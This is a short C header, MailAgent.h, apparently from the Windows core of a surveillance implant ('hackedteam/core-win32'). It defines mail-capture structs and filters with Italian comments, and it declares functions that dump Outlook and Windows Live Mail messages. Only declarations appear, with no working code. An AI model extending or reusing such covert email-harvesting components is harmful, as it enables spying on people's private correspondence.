hackedteam/core-win32

View on GitHub
HM_MailAgent/MailAgent.h

Summary

Maintainability
Test Coverage
#define MAX_HEADER_SIZE (10*1024)
#define MAPI_V2_0_PROTO    2009070301

#pragma pack(4)
struct MailSerializedMessageHeader {
  DWORD VersionFlags;       // flags for parsing serialized message
#define MAIL_FULL_BODY 0x00000001 // Ha catturato tutta la mail 
  DWORD Flags;               // message flags
  DWORD Size;                // message size
  FILETIME date;             // data di ricezione approssimativa del messaggio
};
#pragma pack()

typedef struct {
    DWORD max_size;
    FILETIME min_date;
    FILETIME max_date;
    WCHAR search_string[32]; // XXX Se rimetto le ricerche testuali posso pensare di ingrandirlo
} mail_filter_struct;

extern BOOL IsNewerDate(FILETIME *date, FILETIME *dead_line); // Dichiarata in HM_MailCap.h
extern int CmpWildW(WCHAR *, WCHAR *); // XXX Dichiarata in HM_ProcessMonitors.h
extern BOOL g_bMailForceExit; // Semaforo di uscita per il thread e tutte le sue funzioni
extern BOOL OL_DumpEmails(mail_filter_struct *mail_filter);
extern BOOL WLM_DumpEmails(mail_filter_struct *mail_filter);